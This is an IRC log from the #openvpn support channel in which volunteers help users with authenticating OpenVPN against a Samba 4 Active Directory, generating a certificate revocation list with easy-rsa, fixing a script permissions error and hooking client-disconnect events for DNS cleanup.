10:12 <@plaisthos> tabakhase: ban mask on webchannel user?
10:14 <@dazo> yes, web irc clients are banned ... as it's only noise from those visitors
10:14 <@dazo> * stupid user logs in
10:14 <@dazo> stupid user> WHy doesn't it work?
10:14 <@dazo> * stupid user logs out
10:15 < fahmad> hey dazo
10:15 < fahmad> plaisthos :)
10:15 -!- erry [erry@freenode/staff/erry] has joined #openvpn
10:16 < tabakhase> ;D - btw my problem is fixed, diont bother checking the log
10:16 < fahmad> :)
10:17 -!- Bakz [~meh@58.34.36.134] has quit [Quit: Leaving]
10:17 < tabakhase> seems "someone" only typed the restart command into the shell but missed hitting the enter button...
10:18 -!- raidz_away is now known as raidz
10:20 < fahmad> great
10:25 < fahmad> dazo: i have senario; if i have openvpn server running on machine which have 10 static ip addresses located in New York, and i want one of my client in Germany connect to VPN server and get static ip into his DD-WRT Router and if we ping it from internet not from server it will give us ping response any idea on this ?
10:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:31 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:31 -!- mndo [~mndo@bl17-85-80.dsl.telepac.pt] has quit [Ping timeout: 258 seconds]
10:35 -!- mndo [~mndo@bl17-85-80.dsl.telepac.pt] has joined #openvpn
10:39 -!- marksaitis [~marksaiti@194.168.230.106] has quit [Ping timeout: 258 seconds]
10:44 -!- Guest21539 [~maan@119.63.130.93] has quit [Ping timeout: 264 seconds]
10:50 -!- mustu [~maan@119.63.130.93] has joined #openvpn
10:50 -!- mustu is now known as Guest2561
10:55 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
10:56 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
10:56 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
10:58 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 260 seconds]
10:58 -!- TheWarden_ is now known as TheWarden
10:59 -!- Guest2561 [~maan@119.63.130.93] has quit [Ping timeout: 260 seconds]
11:04 -!- mcp [~mcp@wolk-project.de] has quit [Read error: Operation timed out]
11:06 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-pgmyjmlyrhmelakt] has quit [Ping timeout: 245 seconds]
11:07 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
11:12 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
11:13 -!- AsadH is now known as zz_AsadH
11:18 -!- mustu_ [~maan@119.63.130.93] has quit [Ping timeout: 264 seconds]
11:26 -!- riot [~riot@eris.hackerfleet.org] has joined #openvpn
11:26 < riot> hi.
11:26 < riot> i'm trying to run a vpn on a host-only virtualbox interface that shares a network with all running VMs, but my clients can only ping the vpn server not the rest of the net
11:27 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:32 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:35 < TheWarden> ahh I'm pretty new to OpenVPN, is this web GUI shown here http://openvpn.net/index.php/access-server/docs/admin-guides/190-how-to-authenticate-users-with-active-directory.html for the commercial OpenVPN product or OpenVPN Community edition?
11:35 <@vpnHelper> Title: How to authenticate users with Active Directory (at openvpn.net)
11:52 < TheWarden> where do I get this auth pam so I can authenticated the VPN to active directory?
11:54 < TheWarden> even if PAM is the answer, where the heck are the plugins? I don't seem to have it
11:55 < tabakhase> riot what is your config line claiming the ips/net?
11:55 < tabakhase> riot youre looking for something similar to "server-bridge 172.20.23.254 255.255.254.0 172.20.22.50 172.20.22.250"
11:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
12:00 -!- mustu [~maan@221.120.210.138] has joined #openvpn
12:00 -!- mustu is now known as Guest56224
12:03 -!- fahmad [~linux@unaffiliated/fahmad] has quit []
12:04 -!- Guest56224 [~maan@221.120.210.138] has quit [Ping timeout: 240 seconds]
12:05 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
12:11 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:13 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
12:15 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
12:15 < TheWarden> in order to have my OpenVPN server authenticate to Active Directory do I have to have the server itself joined to the domain?
12:16 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:21 <@dazo> TheWarden: that URL is to the Access Server (commercial version)
12:22 <@dazo> TheWarden: for PAM auth ... that should be shipped in your openvpn package (Community Edition) .... and the rest of the PAM stuff, is whatever your OS shipped with
12:23 <@dazo> TheWarden: try to look into /usr/lib*/openvpn ... or some places like that
12:23 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
12:24 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
12:24 <@dazo> TheWarden: but for LDAP auth (which you most likely need for AD auth ... maybe RADIUS is another alternative) ... then you need an auth-ldap ... which is kind of trickier ... there are a few alternatives, but I've never dug into any of them for real yet
12:25 <@dazo> but some people do the Linux<->AD integration and then add openvpn + auth-pam on top of that
12:31 < TheWarden> dazo: I installed Samba via git.
12:31 <@dazo> TheWarden: then you probably use winbind?
12:32 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
12:32 -!- kubbing [~kubbing@89.177.146.18] has quit [Ping timeout: 252 seconds]
12:33 < TheWarden> dazo: See I'm in this situation, I don't know if I need PAM or LDAP or both.  Yes believe I am, as Samba 4 comes with it.
12:33 < TheWarden> so what I need is Linux  to auth to active directory, openvpn to auth to active directory, and so on.
12:34 <@dazo> TheWarden: I've never played with Samba4 ... so I'm on really thin ice .... but I'd guess, if you can login into your Linux box with the username/password from a Windows account ... then you most likely need PAM
12:34 < TheWarden> ahh I found the shared object for auth-pam in /usr/lib/openvpn
12:34 <@dazo> you don't need both PAM and LDAP ... only one of them can be used at the same time in OpenVPN
12:35 < TheWarden> and I understand that Samba 4 has LDAP builtin
12:35 <@dazo> PAM is usefull, if you basically want the same auth schema as for your Linux users on that box
12:35 < uberushaximus> apparently samba is to the point where you configure it from a windows client
12:35 < uberushaximus> and it can do the whole AD forest
12:35 -!- master_o1_master [~master_of@p4FF24F8F.dip.t-dialin.net] has joined #openvpn
12:36 <@dazo> and LDAP is useful to use if you want have "virtual users" on your VPN ... they are not known users for the Linux box itself
12:36 <@dazo> (but of course, you can do Linux login auth via LDAP as well ... but that's another chapter)
12:37 <@dazo> Yes, Samba4 ships with a lot of stuff embedded .... like krb5 support and LDAP .... but that's to be able to behave like an AD controller (or whatever the proper name is in the Microsoft world)
12:38 < TheWarden> dazo: in my case, the linux systems are servers. The samba 4/openvpn in on a linux server.. all users work on a workstation. So then PAM would be the answer?
12:38 <@dazo> I'd try that first
12:38 <@dazo> that's easiest
12:38 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
12:39 < TheWarden> okay, so areyou saying that if pam is setup then I can login to those servers using active directory?
12:39 -!- master_of_master [~master_of@p4FF24746.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
12:39 <@dazo> TheWarden: if you have configured your Linux boxes so that Windows users can log into with the accounts, then yes
12:40 < TheWarden> dazo: well I don't think I do presently but I'm going to join it to the domain the servers so in theory they should be able to login.
12:40 <@dazo> I know from the Samba 3.x world that to make that work, you need the winbind daemon running ... which maps Windows accounts to Unix accounts, which makes them able to log-in
12:41 <@dazo> but it is possible to do all this with LDAP too ... but I have no clue how to configure that, and esp. not against a Windows AD server
12:42 < TheWarden> ok
12:43 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
12:44 < TheWarden> dazo: so you mean something like this, http://www.skelleton.net/2012/08/03/joining-a-debian-server-to-active-directory/?
12:44 <@vpnHelper> Title: Joining a Debian Server to Active Directory | skelleton.net (at www.skelleton.net)
12:45 <@dazo> TheWarden: that sounds quite correct ... and it uses even krb5 for authentication, which is good too
12:46 < TheWarden> dazo: mmm yet he suggests installing winbind but I have winbind and I have been able to kinit username already
12:47 <@dazo> TheWarden: you need winbind too ... that provides the mapping service between Windows user IDs to Unix user IDs
12:47 < TheWarden> dazo: oh okay, so that would explain why I don't see this server on the domain
12:48 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:48 <@dazo> TheWarden: did you successfully do: net ads join -U administrator ?
12:49 < TheWarden> dazo: ahh that would be from a windows workstation, I've never tried that but presently I'm authenticated to the domain via my workstation (Windows 7).
12:49 <@dazo> that should be run from the Linux box
12:49 -!- JSharpe [~JSharpe@46.165.208.207] has quit [Ping timeout: 245 seconds]
12:49 <@dazo> you want your Linux box to join the AD domain, to be able to do the further auths
12:49 < TheWarden> dazo: oh well there is no net command
12:50 <@dazo> It might be that this setup is for Samba 3
12:50 < TheWarden> so it is strange to have the server that is Samba 4 AD DC be joined to the domain, basically itself lol ?
12:50 <@dazo> ahhh!
12:50 -!- JSharpe [~JSharpe@ip5-63-144-28.lon.ukinetcom.net] has joined #openvpn
12:50 <@dazo> I thought you had a Windows AD DC running already, and wanted to join that AD domain
12:51 <@dazo> well, then .... why do you setup Samba at all then?
12:51 <@dazo> do you want to provide Samba over VPN?
12:51 < TheWarden> I have Samba 4 AD DC setup and working. I can authenticate to it from a Windows workstration.
12:51 <@dazo> okay ... that's an important missing detail here
12:52 <@dazo> then you don't need to care about winbind at all
12:52 < TheWarden> I can see the users and computers that are joined to the domain. However the Linux Server itself that has Samba 4 is not showning up on the domain.
12:52 <@dazo> well, that sounds more like the smbd and nmbd daemons isn't running
12:52 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
12:53 <@dazo> but that's not a topic for this channel .... Last time I configured Samba for file services was many years ago ... and for DC role, even longer ago
12:53 <@dazo> But for OpenVPN to work ... then you just need pure auth-pam
12:53 < TheWarden> mm okay, well either way I have to follow these steps http://www.skelleton.net/2012/08/03/joining-a-debian-server-to-active-directory/ to join other servers to the domain correct?
12:53 <@vpnHelper> Title: Joining a Debian Server to Active Directory | skelleton.net (at www.skelleton.net)
12:53 <@dazo> yes, that makes sense
12:53 < TheWarden> ahh okay, I'll move this to #samba then
12:54 < TheWarden> I'll fix that and then try to figure out how to get this auth-pam to work for OpenVPN to auth against the active directory.
12:55 <@dazo> TheWarden: when you can from one of your other boxes authenticate and login using a AD account ... then you can start to look at auth-pam
12:55 <@dazo> but not before
12:55 <@dazo> auth-pam expects a functional PAM auth
12:55 < TheWarden> dazo: I can do that now. I just have an issue it appears like you were saying that the server with Samba 4 AC DC is not showing up on the domain itself.
12:56 <@dazo> okay, sort that out in #samba first ... just to ensure you have everything set up properly
12:57 <@dazo> (debugging issues when you believe your dependencies are working ... makes it even harder to find errors ... you need to know dependencies are working 100% correctly first)
12:59 < TheWarden> its okay
12:59 < TheWarden> found the server, it was me not thinking right. the server shows up under domain controllers. makes sense.
12:59 < TheWarden> so on with auth-pam some how
13:02 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
13:03 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-wqqijxjunhrhjfkd] has joined #openvpn
13:05 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
13:18 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has joined #openvpn
13:19 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-jabwfdwwnubynxqd] has quit [Ping timeout: 245 seconds]
13:27 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-wqqijxjunhrhjfkd] has quit [Ping timeout: 276 seconds]
13:27 -!- paccer [uid4847@gateway/web/irccloud.com/x-yfkfkdnmzaewasrg] has quit [Ping timeout: 276 seconds]
13:27 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-otyxzvbrmvapfvtz] has quit [Ping timeout: 252 seconds]
13:27 -!- lmm [uid6417@gateway/web/irccloud.com/x-hunjxwmdptpgcgmf] has quit [Ping timeout: 245 seconds]
13:33 -!- kubbing [~kubbing@89.177.146.18] has quit [Ping timeout: 248 seconds]
13:34 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-gfejrjxrugpiqdyx] has joined #openvpn
13:37 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zxcgkocqnpwnljgq] has joined #openvpn
13:48 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
13:48 -!- lmm [uid6417@gateway/web/irccloud.com/x-urrxqdulhckrxfpt] has joined #openvpn
13:48 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
13:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
13:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:09 -!- mndo [~mndo@bl17-85-80.dsl.telepac.pt] has quit [Ping timeout: 258 seconds]
14:17 -!- dzubey [~dzubey@68.14.254.195] has joined #openvpn
14:19 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
14:19 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
14:21 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
14:21 -!- master_of_master [~master_of@p4FF2446B.dip.t-dialin.net] has joined #openvpn
14:22 < TheWarden> Where can I find definition of keywords in the server.conf? like tls-server or management or ccd-exclusive
14:23 -!- master_o1_master [~master_of@p4FF24F8F.dip.t-dialin.net] has quit [Read error: Operation timed out]
14:25 <@ecrist> !man
14:25 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
14:35 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:47 < TheWarden> how do I generate a file for crl-verify?
14:48 -!- dazo is now known as dazo_afk
14:51 < pekster> TheWarden: Are you using Easy-RSA? If so, when you perform the "revoke-full" command it'll update your CRL file in the process
14:52 < TheWarden> pekster: yes I'm using easy-rsa
14:52 < TheWarden> pekster: so to set it up to use a crl-verify I run that command without a common name?
14:52 < pekster> Oh, no, that command requires something to revoke
14:52 < TheWarden> pekster: oh so its okay if I don't have a crl file initially until its required to revoke a key?
14:53 < pekster> Yea, I'm looking at the 2.0 Easy-RSA, and it doesn't appear to support generating a blank CRL with a nice frontend command :\
14:53 < TheWarden> so is what I said true then?
14:53 < pekster> The new Easy-RSA 3.x stuff I'm working on lets you do that, but I just released the first prototype version today, so it's not something you want to use unless you're willing to run unstable code
14:53 < pekster> Well, you can do it by hand with openssl
14:54 < pekster> Something like this, assuming you're in the dir with all the command files and openssl.cnf:
14:54 < TheWarden> oh so my statement is not true.
14:54 < pekster> openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
14:54 < pekster> I think
14:55 <@ecrist> !factoids search crl
14:55 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn) that
14:55 <@vpnHelper> will create the CRL file for you. ssl-admin will also build a crl for you
14:56 <@ecrist> pekster: that command is correct
14:56 < pekster> Hmm, at closer inspection, looks like you can call that without any arguments TheWarden. It'll spit some errors when it fails to find a cert to revoke, but it "should" play nice with the CRL generation, I believe
14:56 <@ecrist> !learn crl as openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
14:56 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
14:57 <@ecrist> fuck you, vpnHelper 
14:57 < pekster> ecrist: Yea, I just forgot offhand how the relative dir references worked with Easy-RSA 2.x. I'm already on 3.x mode today :)
14:57 < pekster> !learn crl as openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
14:57 <@vpnHelper> Joo got it.
14:57 < pekster> I got annoyed with this one recently:
14:57 < pekster> !log
14:57 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
14:57 < TheWarden> so easy-rsa or opeenssl
14:57 < pekster> !factoids whatis log
14:57 <@vpnHelper> "log" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging
14:57 -!- master_o1_master [~master_of@p4FF24CAD.dip.t-dialin.net] has joined #openvpn
14:58 < pekster> TheWarden: Right. Easy-RSA is just a frontend to openssl. openssl is a non-trivial tool to use to the uniniated, and even to those of us who know some of it's oddities, openssl gives awful error messages
14:58 < pekster> its*
14:58 < TheWarden> mmm
14:59 < pekster> Easy-RSA 2.x has some usability issues too (like the lack of crl update without revoke you pointed out.) We're working to change that, but current code is tested to the extent I've been able to in the last few days, much of it between 11PM and 2AM last night. You're free to send me bugreports and errors though ;)
14:59 < pekster> Otherwise, just try "revoke-full" without parameters and see what happens
14:59 < pekster> I think you'll get a "keys/crl.pem" file
15:00 < TheWarden> pekster: I tried that and I get usage: revoke-full <cert-name-base>
15:00 < pekster> Oh. Right. Feed it something bogus
15:00 < pekster> Not a real cert of it'll revoke it
15:00 < TheWarden> really... ok
15:01 < pekster> ecrist: Yup. it was clearly high time for a replacement. While my prototype code is minimally tested/debugged, it does this right :P
15:01 -!- master_of_master [~master_of@p4FF2446B.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
15:01 < TheWarden> ./revoke-full foo
15:01 < TheWarden> Please source the vars script first (i.e. "source ./vars")
15:01 < TheWarden> Make sure you have edited it to reflect your configuration.
15:01 < pekster> Right, you need vars sourced in any terminal you wish to use Easy-RSA from
15:02 < pekster> If you're coming back to an existing PKI you've set up before with Easy-RSA, just do "source ./vars" before you use commands
15:03 < TheWarden> pekster: ahh what if you ran ./vars already?
15:03 < TheWarden> as I'm doing this for an existing PKI
15:03 < pekster> It just exports env-vars. It's safe to call that as many times as you'd like
15:03 < pekster> But it is an error to use Easy-RSA commands without sourcing it at least once ;)
15:04 < TheWarden> okay so I did source ./vars then now revoke-all
15:04 < pekster> Yea, it'll spit at leaest one error if "foo.crt" doesn't exist, but it should generate the CRL afterwords fine
15:05 < pekster> Then it'll spit some more crap as it tries to verify a non-existant cert :P
15:05 < TheWarden> yes it did but it created crl.pem for me.
15:05 < pekster> There ya go
15:05 < TheWarden> so now I'll copy that to /etc/openvpn
15:05 < pekster> I promise this will get easier when we get the new hotness put into the official releases
15:07 < pekster> In the future, you'll never need to update that crl unless you have a cert you need to revoke beofre it expires (eg: compromised access, user no longer allowed in, etc.) With --verify-crl on the server, it'll become live hte moment you replace the CRL file, although only checked for new connections or TLS re-keys
15:07 < pekster> It is a good idea to do what you're doing, since otherwise adding a --verify-crl to the config requires a server restart (may not be desirable if other people are using it)
15:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:13 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
15:22 -!- Harty [~Hart@AAubervilliers-151-1-49-31.w83-114.abo.wanadoo.fr] has joined #openvpn
15:26 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-wkuxkpkoldxkvqtz] has joined #openvpn
15:29 -!- paccer [uid4847@gateway/web/irccloud.com/x-hpjsylhuzdlmuipv] has joined #openvpn
15:34 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
15:38 < TheWarden> what does this mean? Options error: --auth-user-pass-verify script fails with '/etc/openvpn/scripts/auth_kerberos.sh': Permission denied
15:38 < TheWarden> I verified that the script is present
15:39 < pekster> Permissions issue calling the script, or possibly from the script itself. Likely an issue with downgraded user privs
15:40 < TheWarden> pekster: this is what I have, -rw-r--r-- 1 root root 1777 Mar 13 14:20 auth_kerberos.sh
15:41 < pekster> You cannot execute things that are not executable
15:41 < TheWarden> oh man I can't believe I didn't see tat
15:41 < TheWarden> that
15:41 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
15:41 <@EugeneKay> Don't tell me what I can't do
15:41 <@EugeneKay> You're not my real mom!
15:41 < pekster> EugeneKay can apparently do that. He can probably also fly if he jumps off a bridge ;)
15:42 <@EugeneKay> I am at an airport
15:42 < pekster> s/bridge/control tower/
15:44 <@EugeneKay> I think I shall fold up the laptop and go back to the bar
15:45 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
15:50 -!- mustu_ [~maan@119.63.130.93] has quit [Ping timeout: 276 seconds]
15:51 -!- mustu [~maan@119.63.130.93] has joined #openvpn
15:52 -!- mustu is now known as Guest69565
16:01 < dzubey> okay, i guess I need to ask for help.
16:01 <+[oc80z]> hehe att'a b.
16:02 < dzubey> I got a script that's called by --learn-address, and the script adds and removes host names from dns. works great...
16:02 < dzubey> ..except --learn-address doesn't set the common_name of the connecting client when it's deleting.
16:03 < dzubey> soo...any way I can get the server to tell the script that it's deleting a client, and what the common name that's getting deleted is?
16:03 < dzubey> ..please?
16:04 <+[oc80z]> what string is common_name? from certificates?
16:04 < dzubey> yea.
16:04 <+[oc80z]> from the client's identifiable 'common_name'
16:05 <+[oc80z]> --learn-address cmd : Run script cmd to validate client virtual addresses.
16:05 -!- brute11k [~brute@89.249.235.131] has quit [Quit: Leaving.]
16:05 <+[oc80z]> here is from 2004: http://openvpn.net/archive/openvpn-users/2004-06/msg00338.html
16:05 <@vpnHelper> Title: [Openvpn-users] --learn-address cmd ?? (at openvpn.net)
16:05 < dzubey> right. I'm using that successfully for adds and updates.
16:06 <+[oc80z]> [3] common name -- The common name on the certificate associated with the client linked to this address. Only present for "add" or "update" operations, not "delete".
16:06 < dzubey> yep. delete doesn't include the common_name. Hence my problem :)
16:07 <+[oc80z]> does the delete work?
16:07 <+[oc80z]> could you just match the delete <ip_address> with the <ip_address> previous common_name?
16:07 < dzubey> The script gets called for delete, yes.
16:08 -!- mezgani [~mezgani@41.140.2.243] has joined #openvpn
16:09 < dzubey> I've tried several things..i've parsed the status file for the client's info. That doesn't work if the client is on another server, where that server is connected as a client.
16:10 < dzubey> I've stopped myself from creating a mysql database to record the addresses/hostnames for the script, since DNS is a database that's supposed to record that anyways
16:10 <+[oc80z]> did you read the next thread answer
16:10 <+[oc80z]> James reply'd: http://openvpn.net/archive/openvpn-users/2004-06/msg00365.html
16:10 < dzubey> just a sec
16:10 <@vpnHelper> Title: Re: [Openvpn-users] --learn-address cmd ?? (at openvpn.net)
16:11 -!- p3rror [~mezgani@41.249.96.133] has quit [Ping timeout: 258 seconds]
16:12 < dzubey> ..reading...permissions isn't a problem..
16:12 < dzubey> ..still reading
16:12  * [oc80z] readin other stuff, ive not used this is a while+
16:13 <+[oc80z]> this, re: events on client conn/dconn
16:15 < dzubey> maybe --down?
16:15 <+[oc80z]> that might be server only?
16:15 < dzubey> yea, this is all on the server.
16:15 < dzubey> so it's ok
16:15 <+[oc80z]> er... server-side only , when the server goes --down
16:16 < dzubey> oh..hmm
16:16 <+[oc80z]> double check , liek is aid, im not sure , it might be for that..
16:17 < dzubey> no, that's the only time the tun/tap device closes, so you're right
16:17 <+[oc80z]> how is --learn-address 'called multiple times...'
16:18 < dzubey> from what i've observed, it's any time the learning mechanism in the server gets triggered.
16:18 <+[oc80z]> sure, yeah... i think the wording is misleading.
16:19 <+[oc80z]> can you change delete to update, and then change the ip to 0.0.0.0 , and then capture the common_name ?
16:20 < dzubey> you mean on the dns side?
16:20 <+[oc80z]> yeah, i guess... i mean.. if a client disconnects, does update ever trigger?
16:20 < dzubey> the script has to react to a delete from the server, the dns name has to go away when the client does.
16:21 < dzubey> oh i see what you mean
16:21 <+[oc80z]> yea, otherwise its stale/ghost
16:21 <+[oc80z]> or duplicate
16:21 < dzubey> no, it doesn't. I only get one call.
16:21 < TheWarden> I'm running wbinfo --group-info VPN to get a list of the users in the VPN group and all I get is this returned, VPN:*:3000025:
16:21 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
16:21 < TheWarden> there is no users listed at the end
16:24 < dzubey> well i'm stumped
16:24 < TheWarden> I don't get it, what would cause it not to return the list of users for that group?
16:25 < TheWarden> I even tried to do this, /usr/local/samba/bin/wbinfo --group-info="Domain Admins" and it only returns Domain Admins:*:3000008:
16:26 < TheWarden> I know there is users within these groups Domain Admins and VPN.
16:26 <+[oc80z]> dzubey may be the code does not touch any certificates
16:26 < TheWarden> Ops sorry wrong channel lol
16:26 <+[oc80z]> so theres nowhere for that disconnect function to point you to for that certificate info
16:27 <+[oc80z]> whereas, update and add, those certs are defintily passed in as a string for that event
16:27 <+[oc80z]> its confusing when you said the server as a client.
16:27 < dzubey> yea, there's probably a reason.
16:28 < pekster> Why not hook into --client-disconnect?
16:28 < dzubey> yea, i've got two linux machines, each with a openvpn server on it, and the're linked via a client connection.
16:28 < pekster> I missed some of the backlog there, but your goal is to run something when the client disconnects based on CN, right?
16:28 < dzubey> yea, delete a dns host
16:28 <+[oc80z]> [3] common name -- The common name on the certificate associated with the client linked to this address. Only present for "add" or "update" operations, not "delete".
16:28 < dzubey> i'm looking up --client-connect
16:29 < dzubey> ..disconnect.
16:29 <+[oc80z]> ok
16:29 < pekster> --client-disconnect /usr/local/sbin/dns_host_delete.sh
16:29 < pekster> or w/e
16:29 <+[oc80z]> TheWarden :P
16:29 < dzubey> that might do it..let me try
16:30 < pekster> --client-connect is probably a better spot to be hooking into the client connect anyway for that kind of stuff, not --learn-address. You get much more control over env-vars that way (not that you need them in your setup on connect, I guess)
16:30 < dzubey> the script is pretty flexible, so i can call it from anywhere
16:31 < pekster> Right, but --client-{connect,disconnect} use the conventional $common_name env-var
16:31 < pekster> No worrying about the argument being present during add/update but not delete tasks
16:32 < dzubey> ok
16:32 < pekster> I've got a sample of user accounting on disconnect here, showing potential use:
16:32 < pekster> !accounting
16:32 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
16:32 -!- Guest69565 [~maan@119.63.130.93] has quit [Ping timeout: 245 seconds]
16:33 < dzubey> yea, similar to what i have
16:33 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
16:34 < dzubey> thx. I'm going to restart the server and terrify about 20 people right now. Just a sec.
16:34 < pekster> Well, if it comes back up afterwords... :)
16:35 < pekster> Terrorizing them would be leaving it off, I'd think.
16:35 < dzubey> you don't understand..these guys get one packet delayed, there's screaming.
16:35 < dzubey> heh
16:38 <+[oc80z]> tell them to reset their windows firewall to defaults.
16:38 <+[oc80z]> no, heh..
16:38 <+[oc80z]> that would be criminal.
16:39 < hazardous> hi [oc80z]
16:39 < hazardous> is that a drug reference :o
16:39 <+[oc80z]> no
16:40 <+[oc80z]> ye
16:40 <+[oc80z]> i plead the 5th
16:41 < Harty> Hi, is this possible to use OpenVPN only for some ports or software ?
16:42 < hazardous> you can use it for some ips?
16:42 < pekster> Harty: At an OS level that would require setting up policy routing
16:44 < Harty> hum ok thx
16:44 < pekster> Optionally if your application is SOCKS-aware, just define a proxy in its application settings and set up a proxy at the other end of the tunnel. I do this with my browser and a VPN at my cloud VM when I need external access
16:45 < Harty> i can define proxy on my soft, but actually i'm using a Free OpenVPN server for test
16:45 < hazardous> pekster: any chance you can recommend some way i can force non proxy aware applications through a proxy?
16:46 < dzubey> transparent proxy via squid?
16:47 < Harty> i can't control the openvpn server, and that's why i'm trying to use some table in the VPNConf
16:48 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has left #openvpn []
16:48 < pekster> Harty: you can do policy routing, but you need routing tables and rules to sort your traffic
16:49 < Harty> actually, i'm lookin in the Windows Firewall config, and i can choose the interfaces for my protocol or port
16:49 < pekster> A Windows client won't do what you want, not unless you're running IAS server or something
16:50 < pekster> You need to take routing action based on definable connection characteristics
16:51 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:53 <+[oc80z]> yeah
16:54 < Harty> ok so i think i will use a VM for my VPN :|
16:54 < pekster> For an OS that'll cost you $0, it'll so much more
16:54 < pekster> do*
16:55 < Harty> ?
16:55 < pekster> Oh, unless you mean a Windows VM :(
16:55 < Harty> any OS
16:55 < rob0> Policy routing might be possible on Windows, but no one outside of Redmond will know how to do it.
16:55 < Harty> will try on a MAC ;)
16:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
17:02 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
17:03 < dzubey> I just got an SMS
17:03 < dzubey> "SHIT AINT WORKING"
17:03 < dzubey> *sigh*
17:04 <@ecrist> heh
17:07 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
17:10 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
